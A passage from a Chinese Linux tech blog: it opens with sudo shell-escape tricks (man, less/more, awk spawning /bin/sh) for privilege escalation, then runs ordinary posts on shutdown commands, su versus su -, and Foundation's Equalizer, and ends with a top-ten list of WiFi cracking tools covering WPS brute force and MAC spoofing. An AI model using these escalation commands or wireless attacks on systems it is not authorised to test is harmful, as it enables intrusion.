使用Man命令

bash
sudo man man

之后按!按下并按Enter

使用更少/更多命令

bash
sudo less / etc / hosts
sudo more / etc / hosts

之后按!按下并按Enter

使用awk命令

none
sudo awk'BEGIN {system(“ / bin / sh”)}'

docker组提权

http://www.openskill.cn/article/21

简单说说linux关机命令

阅读(271)评论(0)

Liux是一套免费使用和自由传播的类Uix操作系统,是一个基于POSIX和UNIX的多用户、多任务、支持多线程和多CPU的操作系统。那么linux关机命令是什么?下面为大家介绍下linux关机命令,赶紧看看吧。

在linux下一些常用的关机/重启命令有shutdown、halt、reboot、及init,它们都可以达到重启系统的目的,但每个命令的内部工作过程是不同的。

 

Linux centos重启命令:
1、reboot
2、shutdown -r now # 立刻重启(root用户使用)
3、shutdown -r 10 # 过10分钟自动重启(root用户使用)
4、shutdown -r 20:35  # 在时间为20:35时候重启(root用户使用)

如果是通过shutdown命令设置重启的话,可以用shutdown -c命令取消重启。

Linux centos关机命令:
1、halt #立刻关机
2、poweroff #立刻关机
3、shutdown -h now #立刻关机(root用户使用)。
4、shutdown -h 10 #10分钟后自动关机。

如果是通过shutdown命令设置关机的话,可以用shutdown -c命令取消重启。

1、shutdown

shutdown命令安全地将系统关机。有些用户会使用直接断掉电源的方式来关闭linux,这是十分危险的。因为linux与windows不同,其后台运行着许多进程,所以强制关机可能会导致进程的数据丢失,使系统处于不稳定的状态,甚至在有的系统中会损坏硬件设备。

而在系统关机前使用shutdown命令,系统管理员会通知所有登录的用户系统将要关闭。并且login指令会被冻结,即新的用户不能再登录。直接关机或者延迟一定的时间才关机都是可能的,还可能重启。这是由所有进程(process)都会收到系统所送达的信号(signal)决定的。这让像vi之类的程序有时间储存目前正在编辑的文档,而像处理邮件(mail)和新闻(news)的程序则可以正常地离开等等。

shutdown执行它的工作是送信号(signal)给init程序,要求它改变runlevel。Runlevel 0被用来停机(halt),runlevel 6是用来重新激活(reboot)系统,而runlevel 1则是被用来让系统进入管理工作可以进行的状态。这是预设的,假定没有-h也没有-r参数给shutdown。要想了解在停机(halt)或者重新开机(reboot)过程中做了哪些动作,可以在这个文件/etc/inittab里看到这些runlevels相关的资料。

简单说说linux关机命令

shutdown 参数说明:
  • [-t] 在改变到其它runlevel之前,告诉init多久以后关机。

 

  • [-r] 重启计算器。

 

  • [-k] 并不真正关机,只是送警告信号给每位登录者(login)。

 

  • [-h] 关机后关闭电源(halt)。

 

  • [-n] 不用init,而是自己来关机。不鼓励使用这个选项,而且该选项所产生的后果往往不总是你所预期得到的。

 

  • [-c] cancel current process取消目前正在执行的关机程序。所以这个选项当然没有时间参数,但是可以输入一个用来解释的讯息,而这信息将会送到每位使用者。

 

  • [-f] 在重启计算器(reboot)时忽略fsck。

 

  • [-F] 在重启计算器(reboot)时强迫fsck。

 

  • [-time] 设定关机(shutdown)前的时间。

简单说说linux关机命令

2、halt——最简单的关机命令

其实halt就是调用shutdown -h。halt执行时,杀死应用进程,执行sync系统调用,文件系统写操作完成后就会停止内核。

参数说明:

  • [-n] 防止sync系统调用,它用在用fsck修补根分区之后,以阻止内核用老版本的超级块(superblock)覆盖修补过的超级块。

 

  • [-w] 并不是真正的重启或关机,只是写wtmp(/var/log/wtmp)纪录。

 

  • [-d] 不写wtmp纪录(已包含在选项[-n]中)。

 

  • [-f] 没有调用shutdown而强制关机或重启。

 

  • [-i] 关机(或重启)前,关掉所有的网络接口。

 

  • [-p] 该选项为缺省选项。就是关机时调用poweroff。
3、reboot

reboot的工作过程差不多跟halt一样,不过它是引发主机重启,而halt是关机,它的参数与halt相差不多。

4、init

init是所有进程的祖先,它的进程号始终为1,所以发送TERM信号给init会终止所有的用户进程﹑守护进程等。shutdown就是使用这种机制。init定义了8个运行级别(runlevel),init 0为关机,init 1为重启。另外还有telinit命令可以改变init的运行级别,比如telinit -iS可使系统进入单用户模式,并且得不到使用shutdown时的信息和等待时间。

简单说说linux关机命令

关于linux关机命令是什么的介绍就到这里,希望对大家有所帮助!

Linux下su与su -命令的本质区别

阅读(228)评论(0)

Linux发行版的默认账户是普通用户,而更改系统文件或者执行某些命令,需要root身份才能进行,这就需要从当前用户切换到root用户。Linux中切换用户的命令是su或su -。前天我在使用useradd这个命令时,才体会到这两者的本质区别。
su与su -命令的本质区别

我首先是用su命令切换到root身份的,但是运行useradd时,出现错误:bash: useradd: command not found。google了一下,原因是在这个用su命令切换过来的root用户上。

Linux下su与su -命令的本质区别

su命令和su -命令最大的本质区别就是:前者只是切换了root身份,但Shell环境仍然是普通用户的Shell;而后者连用户和Shell环境一起切换成root身份了。只有切换了Shell环境才不会出现PATH环境变量错误。su切换成root用户以后,pwd一下,发现工作目录仍然是普通用户的工作目录;而用su -命令切换以后,工作目录变成root的工作目录了。用echo $PATH命令看一下su和su -以后的环境变量有何不同。以此类推,要从当前用户切换到其它用户也一样,应该使用su -命令。

Linux下su与su -命令的本质区别

Linux就是这样,有时候配置文件多了或者少了一个空格,服务就运行不了。细节问题一定要注意,这样才能少走弯路!

了解下Foundation 均衡器(Equalizer)

阅读(204)评论(0)

我们可以在容器元素添加 data-equalizer 属性,并为每个子元素添加 data-equalizer-watch 属性来创建一个相同高度的均衡器。最高的元素决定了其他元素的高度。

注意: 滑块需要使用 JavaScript。所以你需要初始化 Foundation JS:
实例

<div class="row" data-equalizer>
  <div class="medium-4 columns panel" data-equalizer-watch>
    Lorem ipsum...
  </div>
  <div class="medium-4 columns panel" data-equalizer-watch>
    Sed ut...
  </div>
  <div class="medium-4 columns panel" data-equalizer-watch>
    Lorem ipsum...
  </div>
</div>

<!-- Initialize Foundation JS -->
<script>
$(document).ready(function() {
    $(document).foundation();
})
</script>
不同屏幕的均衡器

在均衡器上通过添加 data-equalizer-mq="value" 属性为不同屏幕尺寸设置相同高度。值可以是以下之一:

描述
medium-up 默认。 创建相同高度的容器,宽度大于 40.063em
large-up 创建相同高度的容器,宽度大于 64.063em
xlarge-up 创建相同高度的容器,宽度大于 90.063em
xxlarge-up 创建相同高度的容器,宽度大于 120.063em
嵌套内容

为 data-equalizer 和 data-equalizer-watch 属性添加相同的值。 这会一起连接到均衡器容器。 重复多次嵌套均衡器,确保他们是匹配的:

实例

<div class="row" data-equalizer="first">
  <div class="medium-4 columns">
    <div class="panel" data-equalizer-watch="first">
      <h3>Panel</h3>

      <!-- An Equalized Container Inside The Equalized Container -->
      <div class="row" data-equalizer="second">
        <div class="panel" data-equalizer-watch="second">
          <h3>Nested Panel</h3>
          <p>Lorem ipsum...</p>
        </div>
        <div class="panel" data-equalizer-watch="second">
          <h3>Nested Panel</h3>
          <p>Lorem ipsum...</p>
        </div>
        <div class="panel" data-equalizer-watch="second">
          <h3>Nested Panel</h3>
          <p>Lorem ipsum...</p>
        </div>
      </div>
      <!-- End Nested Equalized Container -->

    </div>
  </div>
  <div class="medium-4 columns">
    <div class="panel" data-equalizer-watch="first">
      <h3>Panel</h3>
      <p>Ut enim...</p>
    </div>
  </div>
  <div class="medium-4 columns">
    <div class="panel" data-equalizer-watch="first">
      <h3>Panel</h3>
      <p>Lorem ipsum....</p>
    </div>
  </div>
</div>

Linux中优秀Wifi渗透工具TOP

阅读(248)评论(0)

1. Aircrack-ng

Aircrack是目前WEP/WPA/WPA2破解领域中最热门的工具,Aircrack-ng套件包含的工具能够捕捉数据包和握手包,生成通信数据,或进行暴力破解攻击以及字典攻击。Aircrack-ng是一款多合一整合套件,该套件大致包含下列几种工具:-Aircrack-ng:无线密码破解 -Aireplay:生成网络数据,去客户端验证 -Airodump-ng:数据包捕捉 -Airbase-ng:配置伪造的接入点Aircrack-ng可以在Linux、Windows和macOS上运行,并且KaliLinux默认自带了该套件。如果你准备使用这款工具,那么你还需要确保自己的无线网卡具备数据包注入功能。

Linux中优秀Wifi渗透工具TOP
添加图片注释,不超过 140 字(可选)

2. Reaver

排名第二的是Reaver,Reaver也是目前流行的无线网络攻击工具,它主要针对的是WPS漏洞。Reaver会对WiFi保护设置(WPS)的注册PIN码进行暴力破解攻击,并尝试恢复出WPA/WPA2密码。由于很多路由器制造商和ISP会默认开启WPS功能,因此市面上的很多路由器都无法抵御这种攻击。在使用Reaver时,无线路由器的信号一定要足够强。平均来说,Reaver可以在4-10个小时之内破解目标路由器的密码,具体破解时长还要根据接入点类型、信号强度和PIN码本身来判断。从概率论和统计学的角度来看,你有50%的机会只需要花一半时间就能够破解出目标路由器的PIN码。

Linux中优秀Wifi渗透工具TOP
添加图片注释,不超过 140 字(可选)

3. Pixiewps

PixieWPS是Kali Linux新加入的一款专门针对WPS漏洞的渗透工具。PixieWPS使用C语言开发,可以用来离线爆破WPS PIN码。它所使用的技术名叫pixie dust攻击,需要注意的是,PixieWPS需要一个修改版的Reaver或Wifite才能正常运行。由于这款工具在短时间内就变得非常受欢迎了,因此它在我们的排行榜上排到了第三名。

4. Wifite

Wifite是一款能够攻击多种无线加密方式(WEP/WPA/WPA2和WPS)的自动化工具, Wifite在运行之前需要提供几个参数,而Wifite将会自动帮我们完成所有的任务。它可以捕获WPA握手包,自动化去客户端验证,进行MAC地址欺骗,以及破解WiFi密码。

Linux中优秀Wifi渗透工具TOP
添加图片注释,不超过 140 字(可选)

5. Wireshark

Wireshark算得上是目前最好的网络协议分析工具了,在Wireshark的帮助下,你能够深入地分析一个网络,并获取到尽可能多的信息。Wireshark能够实时捕获网络数据包、对上百种协议进行深入分析、以及浏览和过滤数据包。需要注意的是,Wireshark是一款跨平台工具。KaliLinux默认自带了Wireshark,不过Windows和macOS用户都可以使用它。如果你想使用Wireshark的某些特殊功能,那么你需要一款支持监听模式的WiFi适配器。

Linux中优秀Wifi渗透工具TOP
添加图片注释,不超过 140 字(可选)

6. oclHashcat

oclHashcat并不是一款专用的WiFi入侵工具,而且它也不是Kali Linux的自带工具,但它能够对捕捉到的握手包进行高速爆破攻击和字典攻击(使用GPU跑字典)。在使用了Aircrack-ng或其他工具捕捉到了握手包之后,我们就可以使用GPU和oclHashcat来破解WiFi密码了,而且GPU+oclHashcat的破解速度要比CPU+Aircrack-ng的速度快得多。oclHashcat适用于Windows和Linux,并且还有专门针对AMD和Nvidia显卡的版本。

Linux中优秀Wifi渗透工具TOP
添加图片注释,不超过 140 字(可选)

7. Fern Wifi Cracker

Fern Wifi Cracker是一款针对无线网络的安全审计工具和攻击工具,该工具采用Python编写,它也是这十大无线攻击工具中唯一一款具有图形用户界面的工具。Fern Wifi Cracker能够破解WEP、WPA和WPS密钥,并且还包含有能够执行MiTM(中间人攻击)攻击的组件。

8. Wash

当攻击者在对WPS PIN码进行暴力破解攻击时,很多接入点会将自己锁定以保证路由器的安全性。而Wash就是一款能够确定目标接入点是否开启了WPS的工具,在使用Reaver进行了多次尝试之后,你可以用Wash来检查接入点是否锁定了WPS。

Linux中优秀Wifi渗透工具TOP
添加图片注释,不超过 140 字(可选)

9. Crunch

Crunch可以用来生成自定义字典,而生成的字典可以用于字典攻击。由于字典攻击的成功率依赖于所使用字典的质量,因此我们总是不可避免地要根据自己的需要来生成字典。

Linux中优秀Wifi渗透工具TOP
添加图片注释,不超过 140 字(可选)

10. Macchanger

实际上,Macchanger是一款能够将你设备的MAC地址改成随机值的小工具,当然了,你也可以将其修改为你想要的数据。为了避免目标设备采用了MAC地址过滤,所以对于WiFi攻击来说,MAC地址修改就显得非常重要了。

Linux中优秀Wifi渗透工具TOP
添加图片注释,不超过 140 字(可选)

总结

希望本文总结出的十大热门WiFi攻击工具能够给大家提供一定的帮助,就目前的情况来看,无线网络的安全性仍然有很大的提升空间,而这种安全性的提升需要整个社区贡献自己的力量。

登录

忘记密码 ?